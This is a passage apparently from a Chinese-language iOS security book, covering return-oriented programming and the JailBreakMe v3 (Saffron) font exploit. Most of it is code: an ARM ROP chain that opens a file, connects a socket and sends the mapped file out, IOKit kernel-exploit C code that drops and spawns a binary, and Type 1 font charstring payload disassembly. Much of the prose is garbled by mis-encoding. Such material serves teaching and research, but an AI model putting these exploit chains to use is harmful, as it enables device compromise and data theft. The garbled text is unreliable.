      var i = 0; 
 
      var locSockStruct = sp + 4*244; 
      var locFD = sp + 4*244-4; 
      var locSock = locFD - 4; 
      var locMappedFile = locSock -4; 
      var locStat = locMappedFile - 108; 
      var locFilename = locSockStruct + 0x10; 
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      ropvalues[i++] = 0x87654321; // ݠሰڦr7 
      ropvalues[i++] = 0x32986a41; // LR->PCǄthumbఇ๕ǅ 
            // থူઠኴႜڦ੷: ยዃLR 

      // 32986a40     e8bd4080    pop         {r7, lr} 
      // 32986a44         b001    add         sp, #4 
      // 32986a46         4770    bx          lr 
 
      ropvalues[i++] = 0x12345566; // ݠሰڦr7 
      ropvalues[i++] = 0x32988673; // LRǄthumbఇ๕ǅ 
      ropvalues[i++] = 0x11223344; // ག؊ǈཚࡗadd sp, #4ཌࡗ 

 
      // থူઠኴႜڦ੷: ۙᆩ֖ڇຕࡧຕ 

      // 32988672    bd01 pop {r0, pc} 
 
      ropvalues[i++] = 0x00000fff; // r0 
      ropvalues[i++] = 0x30b663cd; // PC 
 
      // ੰۙᆩ 

      // 0x30b663cc <AudioServicesPlaySystemSound> 
      // AudioServicesPlaySystemSounds uses LR to return to 0x32988673 
      // 32988672    bd01 pop {r0, pc} 
 
      ropvalues[i++] = 0x00000000; // r0 
      ropvalues[i++] = 0x32986a41; // PC 
      // থူઠኴႜڦ੷: ยዃLR 

      // 32986a40 e8bd4080    pop         {r7, lr} 
      // 32986a44     b001    add         sp, #4 
      // 32986a46     4770    bx          lr 
 
      ropvalues[i++] = 0x12345566; // ݠሰڦr7 
      ropvalues[i++] = 0x32988d5f; // LRǄthumbఇ๕ǅ 
      ropvalues[i++] = 0x12345687; // ག؊ǈཚࡗ add sp, #4ཌࡗ 

 
      // থူઠኴႜڦ੷: ሜ෇R0~R3 

      // 32988d5e   bd0f pop {r0, r1, r2, r3, pc} 
 
      ropvalues[i++] = locFilename;  // r0࿔ॲఁ 

      ropvalues[i++] = 0x00000000;   // r1 O_RDONLY 
      ropvalues[i++] = 0x00000000;   // ݠሰڦr2 
      ropvalues[i++] = 0xddddeeee;   // ݠሰڦr3 

      ropvalues[i++] = 0x32910d4b;   // PC 
 
      // থူઠኴႜڦ੷: ۙᆩopen 

      // 32910d4a  e840f7b8 blx open 
      // 32910d4e  bd80 pop {r7, pc} 
 
      ropvalues[i++] =0x33324444;   // r7 
      ropvalues[i++] =0x32987baf;   // PC 
      // 32987bae  bd02    pop {r1, pc} 
 
      ropvalues[i++] = locFD-8;    //r1ኸၠFD 

      ropvalues[i++] = 0x32943b5c; //PC 
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      //32943b5c  e5810008    str         r0, [r1, #8] 
      //32943b60  e3a00001    mov         r0, #1 ; 0x1 
      //32943b64  e8bd80f0    ldmia   sp!, {r4, r5, r6, r7, pc} 
 
      ropvalues[i++] = 0x00000000; // ག؊ 
      ropvalues[i++] = 0x00000000; // ག؊ 

      ropvalues[i++] = 0x12345687; 
      ropvalues[i++] = 0x12345678; 
      ropvalues[i++] = 0x32986a41; // PC 
      //32986a40  e8bd4080    pop         {r7, lr} 
      //32986a44      b001    add         sp, #4 
      //32986a46      4770    bx          lr 
 
      ropvalues[i++] = 0x12345566; // r7 
      ropvalues[i++] = 0x32987baf; // LR 
      ropvalues[i++] = 0x12345678; // ག؊ 

      //32987bae   bd02  pop     {r1, pc} 
 
      ropvalues[i++] = 0x33324444; // r7 
      ropvalues[i++] = 0x32988d5f; // PC 
      //32988d5e   bd0f pop {r0, r1, r2, r3, pc} 
 
      ropvalues[i++] = 0x00000002;    // r0ᇘ 
      ropvalues[i++] = 0x00000001;    // r1ૌ႙ 
      ropvalues[i++] = 0x00000000;    // r2ၹᅱ 

      ropvalues[i++] = 0xddddeeee;    // r3 
      ropvalues[i++] = 0x328e16dc;    // ۙᆩ༫থጴ 

 
      // ༫থጴڟ࣮ݓኸၠ32987baeڦlr 

 
      ropvalues[i++] = locSock-8; //r1ኸၠlocSock 

      ropvalues[i++] = 0x32943b5c; //PC 
      //32943b5c  e5810008    str         r0, [r1, #8] 
      //32943b60  e3a00001    mov         r0, #1; 0x1 
      //32943b64  e8bd80f0    ldmia   sp!, {r4, r5, r6, r7, pc} 
 
      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x12345687; 
      ropvalues[i++] = 0x66554422; 
      ropvalues[i++] = 0x32988d5f; // PC 
      //32988d5e   bd0f  pop  {r0, r1, r2, r3, pc} 
 
      ropvalues[i++] = locSock;       // r0༫থጴ 
      ropvalues[i++] = locSockStruct; // r1঳༹ࠓ 
      ropvalues[i++] = 0x00000010;    // r2঳ٷڦ༹ࠓၭ 

      ropvalues[i++] = 0xddddeeee;    // r3 
      ropvalues[i++] = 0x328c4ac9;    // 
      //328c4ac8      6800    ldr    r0, [r0, #0] 
      //328c4aca      bd80    pop    {r7, pc} 
 
      ropvalues[i++]= 0x99886655; // r7ઘऎ࣮๭ 
      ropvalues[i++] = 0x328e9c30; //ۙᆩconnect 
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                    //connectڟ࣮ݓኸၠ32987baeڦr7 

 
      ropvalues[i++] = 0x00000000; //r1 
      ropvalues[i++] = 0x32988d5f; // PC 
      //32988d5e   bd0f  pop {r0, r1, r2, r3, pc} 
 
      ropvalues[i++] = locFilename; // r0, fd 
      ropvalues[i++] = locStat; // r1, stat঳༹ࠓ 

      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x328c2a4c; // ۙᆩstat 

 
      // statڟ࣮ݓኸၠ32987bafڦlr 

 
      ropvalues[i++] = 0xabababab; //r1 
      ropvalues[i++] = 0x328c722c; //PC 
      //328c722c  e8bd8330  ldmia sp!, {r4, r5, r8, r9, pc} 
 
      ropvalues[i++] = 0x00000000; //r4ॽྺׯmmapںڦ኷ 
      ropvalues[i++] = 0x00000000; //r5փ࠶๟๊஺ۼႜ 
      ropvalues[i++] = 0x00000000; //r8ॽྺׯmmapڦ࿔ॲ܈׊ 
      ropvalues[i++] = 0x00000002; //r9ԥް዆ڟr3ዐڦMAP_PRIVATE 

      ropvalues[i++] = 0x32988d5f; // PC 
      //32988d5e   bd0f  pop  {r0, r1, r2, r3, pc} 
             ropvalues[i++] = locFD - 36; 
             // r0 will be the filedes for mmap 
      ropvalues[i++] = locStat + 60;  // r1঳༹ࠓstatڦ࿔ॲٷၭ 

      ropvalues[i++] = 0x00000001;    // r2 PROT_READ 
      ropvalues[i++] = 0x00000000; 
             // r3ՂႷ๟ᆶၳں኷ǈڍ࿢்փ࠲႐໲ڹڟ๟๊஺ں኷ 

      ropvalues[i++] = 0x32979837; 
      //32979836      6a43    ldr    r3, [r0, #36] 
      //32979838      6a00    ldr    r0, [r0, #32] 
      //3297983a      4418    add    r0, r3 
      //3297983c      bd80    pop    {r7, pc} 
 
      ropvalues[i++] = sp + 73*4 + 0x10; //r7փ࠶๟๊஺ۼႜ 

      ropvalues[i++] = 0x32988673; 
      //32988672      bd01    pop    {r0, pc} 
 
      ropvalues[i++] = sp - 28; //r0ՂႷ๟ᅃ੷࿢்փ࠲႐ాڦ٪ 

      ropvalues[i++] = 0x329253eb; 
      //329253ea      6809    ldr    r1, [r1, #0] 
      //329253ec      61c1    str    r1, [r0, #28] 
      //329253ee      2000    movs   r0, #0 
      //329253f0      bd80    pop    {r7, pc} 
            ropvalues[i++] = sp + 75*4 + 0xc; //r7 
      ropvalues[i++] = 0x328C5CBd; 
      //328C5CBC      STR     R3, [SP,#0x24+var_24] 
      //328C5CBE      MOV     R3, R9 
      //328C5CC0      STR     R4, [SP,#0x24+var_20] 
      //328C5CC2      STR     R5, [SP,#0x24+var_1C] 
      //328C5CC4      BLX     ___mmap 
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      //328C5CC8 loc_328C5CC8         ; CODE XREF: _mmap+50j 
      //328C5CC8      SUB.W   SP, R7, #0x10 
      //328C5CCC      LDR.W   R8, [SP+0x24+var_24],#4 
      //328C5CD0      POP     {R4-R7,PC} 
 
      ropvalues[i++] = 0xbbccddee;//࿢்Ⴔᄲܔኮമᅙঢ়٪ئሞቝዐాڦඹ৊ႜᅃၵག؊ 

      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x32987baf; 
      //32987bae bd02 pop {r1, pc} 
 
             ropvalues[i++] = locMappedFile -8; 
  // r1ኸၠᆙพాڟ٪ዐڦ࿔ॲ 

      ropvalues[i++] = 0x32943b5c; // PC 
      //32943b5c  e5810008  str    r0, [r1, #8] 
      //32943b60  e3a00001  mov    r0, #1 ; 0x1 
      //32943b64  e8bd80f0  ldmia  sp!, {r4, r5, r6, r7, pc} 
 
      ropvalues[i++] = sp; //ॽԥዘႀ 

      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x12345687; 
      ropvalues[i++] = 0x12345678; 
      ropvalues[i++] = 0x32988d5f; // PC 
      //32988d5e    bd0  fpop  {r0, r1, r2, r3, pc} 
 
      ropvalues[i++] = sp -28; // r0ሞሜ෇r1้ԥዘႀ 
      ropvalues[i++] = locMappedFile; // r1փ࠶๟๊஺ۼႜ 
      ropvalues[i++] = 0x00000000; // r2ฎࢫԥݣ෇ 
      ropvalues[i++] = locStat + 60; // ฎࢫᆩᇀॽాඹሜ෇r2 

      ropvalues[i++] = 0x3298d351; 
      //3298d350      681a    ldr    r2, [r3, #0] 
      //3298d352      6022    str    r2, [r4, #0] 
      //3298d354      601c    str    r4, [r3, #0] 
      //3298d356      bdb0    pop    {r4, r5, r7, pc} 
             ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x00000000; 
      ropvalues[i++] = 0x329253eb; 
      //329253ea      6809    ldr     r1, [r1, #0] 
      //329253ec      61c1    str     r1, [r0, #28] 
      //329253ee      2000    movs    r0, #0 
      //329253f0      bd80    pop     {r7, pc} 
 
      ropvalues[i++] = 0x11223344; 
      ropvalues[i++] = 0x32988673 
      //32988672      bd01    pop   {r0, pc} 
 
      ropvalues[i++] = locSock; 
      ropvalues[i++] = 0x328c4ac9; 
      //328c4ac8      6800    ldr   r0, [r0, #0] 
      //328c4aca      bd80    pop   {r7, pc} 
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      ropvalues[i++] = 0x88776655; // r7ઘऎ࣮๭ 

      ropvalues[i++] = 0x32986a41; // PC 
      //32986a40  e8bd4080    pop         {r7, lr} 
      //32986a44      b001    add         sp, #4 
      //32986a46      4770    bx          lr 
 
      ropvalues[i++]=0x12345566; // r7 
      ropvalues[i++]=0x3298d3ab; // LR 
      ropvalues[i++]=0x12345678; // ག؊ 

      //3298d3aa      bd00    pop  {pc} 
                ropvalues[i++] = 0x328e456c; // ۙᆩwrite 

 
      // writeڟ࣮ݓኸၠ0x3298d3abڦlr 

            ropvalues[i++] = 0x32988673; 
      // 32988672     bd01    pop   {r0, pc} 
            ropvalues[i++] = 0x00000001; 
      ropvalues[i++] = 0x328fa335; //ۙᆩsleep(); 

 
      // sleepڟ࣮ݓኸၠ0x3298d3abڦlr 

 
      ropvalues[i++] = 0x32988673; 
      // 32988672     bd01    pop   {r0, pc} 
 
      ropvalues[i++] = locFD;       // r0 fd 
      ropvalues[i++] = 0x328c4ac9;  // 
      //328c4ac8      6800    ldr    r0, [r0, #0] 
      //328c4aca      bd80    pop    {r7, pc} 
 
      ropvalues[i++] = 0xccccdddd; 
      ropvalues[i++] = 0x328c8d74; // ۙᆩclose() 
            // closeڟ࣮ݓኸၠ0x3298d3abڦlr 

 
      ropvalues[i++] = 0x328e469d;    // call exit() 

8.4.2� ߽⫼ROP㒧ড়ϸ⾡ⓣ⋲ᬏߏ⿟ᑣ˄JailBreakMe v3˅�

ኃ7ብ˖డኤ᜵̭ፀ᣾ᄉὋၿcomexᎃзᄉJailBreakMe v3὇˶ሥSaffronὈ໣วஈڙ͂ੇݟൣ

ѣርࣿ௦ࣂፂМधᄉᝧ̠Ӿ៵ణຆ҈ᄉiOS໣วஈѣርࣿ˧ʶǌ൤ܪʿ͗សጹ̭ፀᤇ˓໣วஈѣ

ርࣿὋʿ᣾˝˿ူᝌ߱ᄉROPథ஌ᣑᕲὋੇ͂͗ᏥᘼФ˖ʶ˓᧗᜵ᄉጹᓫǌ 
̯iOS 4.3ᡐὋᔰ౦МՂलЙ˿ASLRὋ˶ࡂ௦ڦڠቆᫍ࣊ࡌᬣ఺Ӑ఺҃Ὃځ൤͉ʹਆ᜵ѽၸ

ROPᄉ໣วஈѣርࣿᦏᭉ᜵੼ҁഴڰᄉ۲ڦ὇base addressὈǌSaffronѽၸ౼൒ζো෹ࠚᆷߚ˿߿

ϱᅋ੝థं஠͇ᄉdyld_shared_cacheᄉ۲ڦǌʶெ۲ڦ෹᭚ὋSaffronࡂԺ̾಩૵߱᧗ளͮ߿

ஞ˓ROPథ஌ᣑᕲǌ 
Saffronѽၸ˿PDF᫝ឳڙߚ˖٧ᄉ໣วὋځ൤ஞ˓థ஌ᣑᕲᦏ௦ၸT1ឥᝒᎃзᄉǌߙͳ஠͇

˖Ӊդ˿᝴ܲΒርὋФ˖థʶ̎ࠪ̅ူᝌROPథ஌ᣑᕲᄉࢹͺԓူᏪᝒ᭣࣡థၸǌ 
˿សጹܪhttp://esec-lab.sogeti.com/post/Analysis-of-the-jailbreakme-v3-font-exploitڙԺ̾ࠑܷ

ᝌᤇ˓໣วஈѣርࣿὋᏪੇ͂ڙᤇ᧖ԵСซˀఴብ˞ᮤథСᄉᦉѫǌ಩૵iPhoneᄉХͳۋՁὋ᠆
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 ᄉˏ˓Βር௦Βር8֖Βር9ǌᤇ᧖ᤆၸҁ˿ᔩ࣯˓ᣘүΒርὙߚథ஌ᣑᕲзЙЮ࠱᠉
� Βር4ǋΒር5֖Βር7ઁϘԌЙಖ˖ὋФ˖Ꮵᘼ˿ASLR̖ၶᄉॕֽ὚ 
� Βር6͗ઁʶ˓ԤߙҪҁ໣วஈѣ᫼ൿ३ҁᄉಖϟሧ᧙ʼ὚ 
� Βር20֖Βር21ၸ̅ҪђԌЙಖᄉϘ὚ 
� Βር24ઁԌЙಖᄉϘγߚҁԩஈѣᏧଌ҃ᄉͮᎵ὚ 
� Βር25͗Փಖ˖ԌЙߚϱڙԩஈѣᏧଌ҃ᄉͮᎵᄉڦڠǌ 
౎ᄹᤇ̎shellcode̼ᆉ௦ϡ̣˥ᄉǌၸਖ਼ቆᫍ˖ᄉROPథ஌ᣑᕲܷڙᝌᤇ̎ζোՐὋဗ˿ڙ

ᒰ͗੯ᛠݟʽၸCឥᝒ̼͡ᆉᛪᇧᄉୱͺὙ 

mach_port_t self = mach_task_self(); 
mlock(addr, 0x4a0); 
match = IOServiceMatching("AppleRGBOUT"); 
IOKitWaitQuiet(0, 0); 
amatch = IOServiceGetMatchingService(0, match); 
IOServiceOpen(amatch, self, 0, &connect); 
IOConnectCallScalarMethod(connect, 21, callback, 2, 0, 0); 
IOConnectCallStructMethod(connect, 5, kpayload, 0xd8, 0, 0); 
IOServiceClose(connect); 
munlock(addr, 0x4a0); 
void *locutusptr = malloc(0x8590); 
zlib.uncompress(locutusptr, 0x8590, locutussource,0x30eb); 
fd = open("/tmp/locutus", O_WRONLY | O_CREAT | O_TRUNC, 0755); 
write(fd, locutusptr, 0x8590); 
close(fd); 
posix_spawn(0, "/tmp/locutus", 0, 0, NULL, NULL); 
//ኄॽ๑ኴႜीჄူඁ 

r0 = 1337; 
sp = crafted_offset; 

ᤇൿ̼ᆉᯪЎ͗ઁROPЮನቆᫍshellcode὇kpayloadὈ௡࠰ҁʶ˓ྱ߿ᄉڦڠǌ˧ՐὋ߱

ᤇ᧖Ὃڙᄉ໣วǌ˖ڰAppleRGBOUT IOKitనҫὋࣲၸˏ˓IOConnectCallѥஜᝎԦഴͮ߿͗

Юನshellcode͗ᜁ੯ᛠǌᤇൿshellcode˶௦ROPὋᏪ˄߱࠱ሄၸᔩ࣯ሗγએ఺҃ὋФ˖ࡂӉહ̼

ᆉኣՏὋᤇಧʶ౎Ὃڙ˧Ր੯ᛠᤄٿၸਖ਼ቆᫍௐlocutusःၸርࣿࡂԺ̾ᤁᛠ˿ǌ̂ࠃʼὋཨՐ߱

͗Ԩ๖ࠪᤇ̎shellcodeᄉ௡࠰ὋᝌԌ᎕locutus̃ᤈ҃஠͇Ὃ࠱ФзЙ౼˓஠͇Ὃࣲีၶឞ஠͇ǌ�

ణՐὋ˝˿ᥗБMobileSafari࢜ຳὋੇ͂᜵ઁಖૈ᧪Ꮅ̅߶КͮᎵὋࣲઁR0Ꮅ˝ᛪᇧԩॕֽ

ѥஜᤄٿϘᄉ౼˓ϘὋ̯Ꮺুܬ੯ᛠǌ 
᧜̅ஞ˓ROPథ஌ᣑᕲᄉܷܬ֖࠴ఽऎὋѫౡ߱Ժᑞ᜵ᔈʼʶஞብᄉኼࣧὋځ൤ੇ͂ڙᤇ᧖

Ե˃ซ̅Ф˖౼̎ྱ߿ᄉૈ̽ྞൿ֖ԥܬ๗Ԣᄉഴयǌ 
ᯪЎὋஞ˓థ஌ᣑᕲ௦ၸPython̼ᆉᎃзᄉὋФ˖Ӊᜈ˿ॸ᜵ᄉૈ̽ྞൿǌځ൤Ὃ३ҁᄉ

shellcode˖͗థྱѾܲᄉ᧗̽ૈܬǌඒ௃Ⴀ᫇Ὃణ࣡ၸ˶௦ੇ͂ణਕТᡙᄉࡂ௦ၸ౎੯ᛠѥஜុ

ၸᄉૈ̽ྞൿǌʽ᭦ᄉૈ̽ྞൿ௦ˀᤇ˓ڙథ஌ᣑᕲ˖࣡ၸ̅ុណᄉCឥᝒѥஜុၸࠪःᄉὙ 

char *str; 
fprintf(stderr, "Result for %s was %08x\n", str); 
  //๯ံᄲpop{r4, r7, pc} 
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0x1e79c    //r4ǈኄ๟ॽᄲ૧ᆩinfoleakۙኝںڦ኷ 

0x0        //r7 
0x3002b379 //pc, ኄྜڦׯ๟ǖldr r0, [r0, #0] pop{r7, pc} 

0x0        //r7 
0x32882613 //pcǈኄྜڦׯ๟ǖstr r0, [r4, #0] pop{r4, pc} 
0x1e4c4    //r4ǈኄ๟ॽᄲ૧ᆩinfoleakۙኝںڦ኷ 
0x32882613 //pcǈኄྜڦׯ๟ǖstr r0, [r4, #0] pop{r4, pc} 
0x32c928fd //r4ǈfprintfںڦ኷ 
0x30fb7538 //pcǈኄྜڦׯ๟ǖpop {r0, r1, r2, r3, pc} 
0x3e810084 //r0ǈ___stderrpںڦ኷ 
0x1eec8    //r1ǈ૧ᆩinfoleakۙኝںڦ኷ 
0x1eee0    //r2ǈ૧ᆩinfoleakۙኝںڦ኷ 

0x0        //r3 
0x3002b379 //pcǈኄྜڦׯ๟ǖldr r0, [r0, #0] pop{r7, pc} 
0x1e4d8    //r7, ૧ᆩinfoleakۙኝ 
0x3001a889 //pcǈኄྜڦׯ๟ǖblx r4 sub sp, r7, #4 pop{r4, r7, pc} 
0x332a6129 //r4ǈmach_task_selfںڦ኷ 
0x1e4e4    //r7, ૧ᆩinfoleakۙኝ 
0x3001a889 ////pcǈኄྜڦׯ๟ǖblx r4 sub sp, r7, #4 pop{r4, r7, pc} 

ѽၸ˿˧ґ໥ᇧ᣾ᄉഴय੯ᛠѥڠܷܷ߱˄ఽὋᏪܬஜৰхʽὋͷʽᄉ̼ᆉࣲʿ௦ܹܷܲڙ

ஜុၸǌshellcode˖Բˏ˓ᄰСᦉѫࡂ௦ध֖ܿፆࡊὋ߱͂ѫѾၸ̅ASLRܘ᧙ᄉ᝟ኪˀ੯ᛠᄉ

�ǌܬু

᠆᠉зЙథ஌ᣑᕲᄉT1Βርʶध͗ݼ੯ᛠ̾ʽૈ̽Ὑ 
0x00000000  8c      push 0x1 
0x00000001  8c      push 0x1 
0x00000002  a4      push 0x19 
0x00000003  0c 10   callothersubr #25 nargs=1; 
  get_buildchar top[0] = decoder->buildchar[idx]; 

ឞૈ̽ࣿѴ͗ЎՐԌЙ᜵͛ᤫፋѥஜᄉԟஜǋԟஜᄉ˓ஜ὇0x1Ὀ̾ԢΒርᎃՁ὇0x19Ὀǌ

ឞѥஜ͗ઁၿ໣วஈѣርࣿ෹᭚ᄉCឥᝒѥஜT1_Parse_GlyphᄉڦڠԌЙಖ˖ǌ˧ՐὋݟʽ̼

ᆉ͗੯ᛠὙ�

0x00000005  ff 33 73 f6 41  push 0x3373f641 
0x0000000c  8d              push 0x2 
0x0000000d  a0              push 0x15 
0x0000000e  0c 10           callothersubr #21 nargs=2; 
substract top[0] -= top[1]; top++ 

Βር21͗ଋԩᜁԌЙಖ˖ᄉˏ˓Ϙ὇Юߚ˖ᄉT1_Parse_GlyphѥஜᄉڦڠὋ̾ Ԣं˖ᄰՎ

ѥஜᄉԓڦڠݼὈὋࣲԌЙᤇˏᏧᄉࢿὋଋᅋѽၸݟʽ̼ᆉઁᤇ˓ߚࢿϱҁஈѣᏧଌ҃ᄉͮᎵὙ�

0x00000010  8c              push 0x1 
0x00000011  8d              push 0x2 
0x00000012  a3              push 0x18 
0x00000013  0c 10           callothersubr #24 nargs=2; 
  set_buildchar decoder->buildchar[idx] = top[0]; 

ឞͮᎵဗڙդథASLRܘ᧙ὋΒር4ǋΒር5֖Βር7͗ѽၸ߱ൣᆷڠ᧗ளͮ߿థ஌ᣑᕲФͷᄉ

ᦉѫǌʽʶ൥௦᝟ኪᤫܘಖૈ᧪ᄉૈ̽ྞൿᄉڦڠὋၿ̾ʽ̼ᆉ߸੆Ὑ�
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1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

0x00000015  8b              push 0x0 
0x00000016  ff 32 87 9f 4b  push 0x32879f4b 
0x0000001d  8c              push 0x1 
0x0000001e  8c              push 0x1 
0x0000001f  a4              push 0x19 
0x00000020  0c 10           callothersubr #25 nargs=1; 
get_buildchar top[0] = decoder->buildchar[idx]; 
0x00000022  8d              push 0x2 
0x00000023  9f              push 0x14 
0x00000024  0c 10           callothersubr #20 nargs=2; 
add top[0] += top[1]; top++ 
0x00000026  0c 21           op_setcurrentpoint        ; top -= 2; x=top[0]; 
  y=top[1]; decoder->flex_state=0 

�੯ᛠᄉኃʶ˓ૈ̽ྞൿὋ߱ᤈᛠ˿̾ʽୱͺὙࣂᄉૈ̽ྞൿ௦˖ߚЮڙϱߚ

add sp, #320 
pop {r4, r5, pc} 

ʽʶൿ̼ᆉ͗ઁ˧ґᄉૈ̽ྞൿൣ࣡ࢹͺ੝ॸᭉᄉ3˓ԤߙԌЙಖ˖Ὑ�

0x00000028  8b              push 0x0 
0x00000029  8f              push 0x4 
0x0000002a  0a              callsubr #04               ; subr_put_dword 
0x0000002b  8b              push 0x0 
0x0000002c  8f              push 0x4 
0x0000002d  0a              callsubr #04               ; subr_put_dword 
0x0000002e  ff 30 00 5c bd  push 0x30005cbd 
0x00000033  ff 00 05 00 0   push 0x5 
0x00000038  0a              callsubr #05               ; 
subr_put_dword_adjust_lib 

ʼᤗ̼ᆉԺథ஌ݟ࠱ڠʽԤߙԌЙಖ˖Ὑ�

0x0 
0x0 
0x30005cbd + ASLR offset 

̯ᤇ᧖ᡐὋಖૈ᧪Ԡʶ൒ᜁុஞὋᏪROPథ஌ᣑᕲФͷᦉѫ͗੯ᛠǌឞథ஌ᣑᕲᄉణՐᦉѫ

�٧R0Ꮅ˝1337Ὃࣲઁಖૈ᧪Ꮅ̅ᝧஈѣᏧԺ̾ፘ፝੯ᛠᄉͮᎵὙߚ࠘࠱͗

0x00000aff  ff 10 00 05 39     push 0x10000539 
0x00000b04  ff 10 00 00 00     push 0x10000000 
0x00000b09  ff 00 02 00 00     push 0x2 
0x00000b0e  ff 00 15 00 00     push 0x15 
0x00000b13  0c 10           callothersubr #21 nargs=2; 
subtract top[0] -= top[1]; top++ 

˓ˏ௦ઁࡂ੣ൿ࠴˓੣ൿǌᤇ࠴Ϙ෤กԌЙःၸርࣿᄉಖ˖Ὃ੝̾ᤇ᧖᜵ၸҁʶཁ̎౼˝ځ

ՋกᄉϘᄰђὋԵڙಖ˖႐ʽॸ᜵ᄉʶ˓Ϙǌڙʼ᭦ᄉ̼ᆉ˖Ὃ0x10000539֖0x10000000ᜁ

ͺ˝ԟஜ͛ᤫፋѥஜ21ǌᄰђᄉፆ౦1337͗ᜁԌЙಖ˖ǌཨՐឞథ஌ᣑᕲ͗ѽၸͮ̅

0x30005e97ᄉૈ̽ྞൿઁ1337ߚϱҁR0˖Ὑ�

0x00000b17  8b              push 0x0 
0x00000b18  8f              push 0x4 
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0x00000b19  0a           callsubr #04               ; subr_put_dword 
0x00000b1a  ff 30 00 5e 97    push 0x30005e97 
0x00000b1f  ff 00 05 00 00    push 0x5 
0x00000b24  0a           callsubr #05               ; subr_put_dword_adjust_lib 

ᒯ൤Ὃᤇ˓థ஌ᣑᕲࡂԵઁࢿಖૈ᧪Ꮅ̅ʿ͗ᝧเ᜾٧࢜ຳᄉ߶КͮᎵ˿Ὑ�

0x00000b25  8b              push 0x0 
0x00000b26  8f              push 0x4 
0x00000b27  0a              callsubr #04               ; subr_put_dword 
0x00000b28  ff 10 00 01 b0  push 0x100001b0 
0x00000b2d  ff 10 00 00 00  push 0x10000000 
0x00000b32  ff 00 02 00 00  push 0x2 
0x00000b37  ff 00 15 00 00  push 0x15 
0x00000b3c  0c 10                                    callothersubr #21 nargs=2 
; 
subtract top[0] -= top[1]; top++ 
0x00000b3e  91              push 0x6 
0x00000b3f  0a              callsubr #06             ; 6 
0x00000b40  ff 30 00 5d b5  push 0x30005db5 
0x00000b45  ff 00 05 00 00  push 0x50000 

ʼᤗ̼ᆉѽၸ˿਄ၸᄉᄰђ੣ൿઁ0x1b0ԌЙಖ˖ǌᤇ˓ϘᬣՐ͗ˀΒር6३ҁᄉϘ὇ಖϟ

ሧ᧙ὈᄰҪǌ0x30005db5ܪᄉૈ̽ྞൿ͗ઁಖૈ᧪Ꮅ̅३Ѣᄉᤇ˓ϘвђԜ0x18ᄉͮᎵὋ̯ᤇ

˓ಖͮᎵीѢᔩ࣯˓࠘٧ߚὋࣲুܬMobileSafariᄉ੯ᛠǌ�

ॡ௬ཨὋSaffron௦˓᭣࣡ዴܬݫఽᄉ໣วஈѣርࣿǌੇ͂࣎భܷࣂࠑፂܲ࠵˿ᝌҁSaffron
˖ᄉROPథ஌ᣑᕲ௦ࢹʹݟͺᄉǌڙఴ˹ᄉᦠݒᎩቢʼథˏ˓ᑭఴúúSaffron-dump.py֖

Saffron-ROP-dump.pyὋ߱͂Ժ̾Өүܷࠑᣀϱ֖ѫౡФͷᄉshellcode̼ᆉǌ  

8.5� ᇣ㒧 

᜸ខ˿ѽၸROPፈ᣾DEP֖̼ᆉኣՏ఺҃ᄉ੣กǌ̯ࠑܷ˖ఴብڙ ణѹᄉreturn-to-libc੾శध

 Ὃੇ͂ʶᄯᝮҁ˿ROPᄉᒬҮӐǌݼ
ੇ̭͂ፀ˿ʶሗ฽ណROPథ஌ᣑᕲᄉኤӬழयὋࣲഏᤗ˿ஈѣᏧѽၸឞ੾శԺ̾ڙiOSʼ੯

ᛠᄉୱͺǌ 
ణՐὋੇ͂ࡘᇧ˿ဗܬ˓ˏ˖ࠃఽᄉROPథ஌ᣑᕲǌኃʶ˓௦̯ႂព˖ቊԨஜ૵ᄉὋᏪኃ̃

˓Ѷ΍ၸROPథ஌ᣑᕲࠪఴ఺ᄉЮನ໣วᤈᛠ໣วஈѣǌ 
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1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

 ߏḌⱘ䇗䆩Ϣⓣ⋲ᬏݙ

 
ҁᄫґ˝ൢὋఴ˹˖̭ፀᄉ੝థΒ֖ߔ໣วஈѣథ஌ᣑᕲᦏᅋᅊ̅iOSᄉၸਖ਼ቆᫍǌʿ᣾Ὃ

ၸਖ਼ቆ̼ᫍᆉᑞϡᄉ̂ৰ᭣࣡థᬌὋځ˝Юನࠃஶᄉ߶Кଏஶ˝Фࣛ౎˿ឰܲᬌ҃ǌځ൤Ὃᤇሗ

ஈӳ௦ʿख़ऄᄉὋᬓ᭣ܷࠑधݼఝҪຆЙڠ˿ᝌݟʹஈѣЮನࣲຕᤨణՐʶ᥊᫸ጲǌఴብὋܷࠑ

ಉ੼Юನ˖ᄉ߶К໣วὋ̾͗ߥК᭦˿ᝌՉሗᅻខὋ࠱ ុណԦဗᄉ᫇ᮤࣲ࠱໣วᣀӐ˝ᑞᡐͺၸ

ᄉЮನ໣วஈѣርࣿǌ 

9.1�  Ḍⱘ㒧ᵘݙ

ር˧ґὋੇ͂ॸᮋᖌ३ʶ͊̃ᤈ्҃यᄉࢹಉᄹiOSЮನὋ˿ᝌ߱ᄉፆౝ੊ࠪФᤈᛠᤣՓڙ

iOSЮನҝఴǌᭉ᜵ᄉ̃ᤈ҃஠͇Տ˝kernelcache.release.*Ὃܷ ᄉIPSWॅು஠͇͇ڌiOSڙԺ̾ࠑ

˖੼ҁ߱ǌʿ᣾ὋЮನ̃ᤈ҃஠͇௦IMG3ಪयᄉὋᤇ਒։ᅋ߱௦੩Ӊ˄Ҫࠚ᣾ᄉǌᝌࠚឞ஠͇

ᭉ᜵ᝌࠚࠚᨄ֖Տ˝xpwntoolᄉࢹХὋឞࢹХڙGithubʼథʿՎ̠धԦᄉܲ˓ྟఴǌܷࠑԺ̾

 ఴᄉxpwntoolǌྟݼhttp://github.com/planetbeing/xpwn੼ҁԓڙ
ၸ̅ᝌࠚIMG3஠͇ᄉᝌࠚࠚᨄ֖AESѹݼӐՓ᧙௦ߚϱڙ஠͇˧˖ᄉǌࣲ߱͂᭣̾௙஠ᄉ

्यߚϱὋᏪ௦ၸ᝹ܫᄉGIDࠚᨄҪࠚ᣾ǌGIDࠚᨄ௦ڌӐҁ᝹ܫᄉᆵ͇˖˄௃กଡԨᄉǌ΍ၸ

